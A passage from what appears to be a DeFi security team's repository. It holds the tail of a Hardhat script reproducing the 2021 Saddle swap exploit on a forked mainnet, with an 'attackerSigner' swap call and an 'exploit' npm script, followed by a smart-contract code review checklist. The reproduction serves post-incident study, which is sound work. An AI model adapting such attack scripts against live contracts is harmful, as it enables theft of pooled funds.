balance: ", utils.formatUnits(await renBtc.balanceOf(swap.address), 8)) 44 | } 45 | 46 | console.log("Contract balances before the swap:") 47 | await getContractBalances() 48 | 49 | /** 50 | * @notice Swap two tokens using this pool 51 | * @param tokenIndexFrom the token the user wants to swap from 52 | * @param tokenIndexTo the token the user wants to swap to 53 | * @param dx the amount of tokens the user wants to swap from 54 | * @param minDy the min amount the user would like to receive, or revert. 55 | * @param deadline latest timestamp to accept this transaction 56 | */ 57 | await swap.connect(attackerSigner).swap( 58 | 3, //sBtc 59 | 1, //Wbtc 60 | utils.parseUnits("0.343289805610305729", 18), //sBtc 61 | utils.parseUnits("4.31895235", 8), //wBtc 62 | Math.round(new Date().getTime() / 1000 + 1000) 63 | ) 64 | 65 | console.log("Contract balances after the swap:") 66 | await getContractBalances() 67 | }); 68 | 69 | module.exports = { 70 | solidity: "0.5.11", 71 | networks: { 72 | hardhat: { 73 | forking: { 74 | url: process.env.PROVIDER_URL, 75 | blockNumber: 11686742 76 | }, 77 | }, 78 | } 79 | }; 80 | -------------------------------------------------------------------------------- /reproductions/2021-1-saddle/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "2020-12-cover", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "exploit": "npx hardhat exploit" 8 | }, 9 | "author": "", 10 | "license": "MIT", 11 | "dependencies": { 12 | "@nomiclabs/hardhat-ethers": "^2.0.1", 13 | "ethers": "^5.0.24", 14 | "hardhat": "^2.0.6", 15 | "hardhat-deploy": "^0.7.0-beta.39", 16 | "hardhat-deploy-ethers": "^0.3.0-beta.7" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /reproductions/2021-1-saddle/yarn-error.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/reproductions/2021-1-saddle/yarn-error.log -------------------------------------------------------------------------------- /reproductions/assets/2021_merlin_illustration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/reproductions/assets/2021_merlin_illustration.png -------------------------------------------------------------------------------- /templates/Contract-Code-Review.md: -------------------------------------------------------------------------------- 1 | 2 | This template is a starting point for you customize as you review a code change. If a section is not relevant, feel free to just replace its contents with some italicized text with the reason it's not used. 3 | 4 | ``` 5 | ## Requirements 6 | 7 | _What is the PR trying to do? Is this the right thing? Are there bugs in the requirements?_ 8 | 9 | ## Easy Checks 10 | 11 | #### Authentication 12 | 13 | - [ ] Never use tx.origin 14 | - [ ] Every external/public function is supposed to be externally accessible 15 | - [ ] Every external/public function has the correct authentication 16 | 17 | #### Ethereum 18 | 19 | - [ ] Contract does not send or receive Ethereum. 20 | - [ ] Contract has no payable methods. 21 | - [ ] Contract is not vulnerable to being sent self destruct ETH 22 | 23 | #### Cryptographic code 24 | 25 | - [ ] This contract code does not roll it's own crypto. 26 | - [ ] No signature checks without reverting on a 0x00 result. 27 | - [ ] No signed data could be used in a replay attack, on our contract or others. 28 | 29 | #### Gas problems 30 | 31 | - [ ] Contracts with for loops must have either: 32 | - [ ] A way to remove items 33 | - [ ] Can be upgraded to get unstuck 34 | - [ ] Size can only controlled by admins 35 | - [ ] Contracts with for loops must not allow end users to add unlimited items to a loop that is used by others or admins. 36 | 37 | #### Black magic 38 | 39 | - [ ] Does not contain `selfdestruct` 40 | - [ ] Does not use `delegatecall` outside of proxying. _If an implementation contract were to call delegatecall under attacker control, it could call selfdestruct the implementation contract, leading to calls through the proxy silently succeeding, even though they were failing._ 41 | - [ ] Address.isContract should be treated as if could return anything at any time, because that's reality. 42 | 43 | #### Overflow 44 | 45 | - [ ] Code is solidity version >= 0.8.0 46 | - [ ] All for loops use uint256 47 | 48 | #### License 49 | - [ ] The contract uses the appropriate limited BUSL-1.1 (Business) or the open MIT license 50 | - [ ] If the contract license changes from MIT to BUSL-1.1 any contracts importing it need to also have their license set to BUSL-1.1 51 | 52 | #### Proxy 53 | 54 | - [ ] No storage variable initialized at definition when contract used as a proxy implementation. 55 | 56 | #### Events 57 | - [ ] All state changing functions emit events 58 | 59 | ## Medium Checks 60 | 61 | #### Rounding and casts 62 | - [ ] Contract rounds in the protocols favor 63 | - [ ] Contract does not have bugs from loosing rounding precision 64 | - [ ] Code correctly multiplies before division 65 | - [ ] Contract does not have bugs from zero or near zero amounts 66 | - [ ] Safecast is aways used when casting 67 | 68 | #### Dependencies 69 | - [ ] Review any new contract dependencies thoroughly (e.g. OpenZeppelin imports) when new dependencies are added or version of dependencies changes. 70 | - [ ] If OpenZeppelin ACL roles are use review & enumerate all of them. 71 | - [ ] Check OpenZeppelin [security vulnerabilities](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories) and see if any apply to current PR considering the version of OpenZeppelin contract used. 72 | 73 | #### External calls 74 | 75 | - [ ] Contract addresses passed in are validated 76 | - [ ] No unsafe external calls 77 | - [ ] Reentrancy guards on all state changing functions 78 | - [ ] Still doesn't protect against external contracts changing the state of the world if they are called. 79 | - [ ] No malicious behaviors 80 | - [ ] Low level call() must require success. 81 | - [ ] No slippage attacks (we need to validate expected tokens received) 82 | - [ ] Oracles, one of: 83 | - [ ] No oracles 84 | - [ ] Oracles can't be bent 85 | - [ ] If oracle can be bent, it won't hurt us. 86 | - [ ] Do not call balanceOf for external contracts to determine what they will do when they use internal accounting 87 | 88 | #### Tests 89 | 90 | - [ ] Each publicly callable method has a test 91 | - [ ] Each logical branch has a test 92 | - [ ] Each require() has a test 93 | - [ ] Edge conditions are tested 94 | - [ ] If tests interact with AMM make sure enough edge cases (pool tilts) are tested. Ideally with fuzzing. 95 | 96 | #### Deploy 97 | 98 | - [ ] Deployer permissions are removed after deploy 99 | 100 | ## Strategy Specific 101 | 102 | _Remove this section if the code being reviewed is not a strategy._ 103 | 104 | #### Strategy checks 105 | 106 | - [ ] Check balance cannot be manipulated up AND down by an attacker 107 | - [ ] No read only reentrancy on downstream protocols during checkBalance 108 | - [ ] All reward tokens are collected 109 | - [ ] The harvester can sell all reward tokens 110 | - [ ] No funds are left in the contract that should not be as a result of depositing or withdrawing 111 | - [ ] All funds can be recovered from the strategy by some combination of depositAll, withdraw, or withdrawAll() 112 | - [ ] WithdrawAll() can always withdraw an amount equal to or larger than checkBalances report, even in spite of attacker manipulation. 113 | - [ ] WithdrawAll() cannot be MEV'd 114 | - [ ] WithdrawAll() does not revert when strategy has 0 assets 115 | - [ ] Strategist cannot steal funds 116 | 117 | #### Downstream 118 | 119 | - [ ] We have monitoring on all backend protocol's governances 120 | - [ ] We have monitoring on a pauses in all downstream systems 121 | 122 | ## Thinking 123 | 124 | #### Logic 125 | 126 | _Are there bugs in the logic?_ 127 | 128 | - [ ] Correct usage of global & local variables. -> they might differentiate only by an underscore that can be overlooked (e.g. address vs _address). 129 | 130 | #### Deployment Considerations 131 | 132 | _Are there things that must be done on deploy, or in the wider ecosystem for this code to work. Are they done?_ 133 | 134 | #### Internal State 135 | 136 | - What can be always said about relationships between stored state 137 | - What must hold true about state before a function can run correctly (preconditions) 138 | - What must hold true about the return or any changes to state after a function has run. 139 | 140 | Does this code do that? 141 | 142 | #### Attack 143 | 144 | _What could the impacts of code failure in this code be._ 145 | 146 | _What conditions could cause this code to fail if they were not true._ 147 | 148 | _Does this code successfully block all attacks._ 149 | 150 | #### Flavor 151 | 152 | _Could this code be simpler?_ 153 | 154 | _Could this code be less vulnerable to other code behaving weirdly?_ 155 | 156 | ``` 157 | --------------------------------------------------------------------------------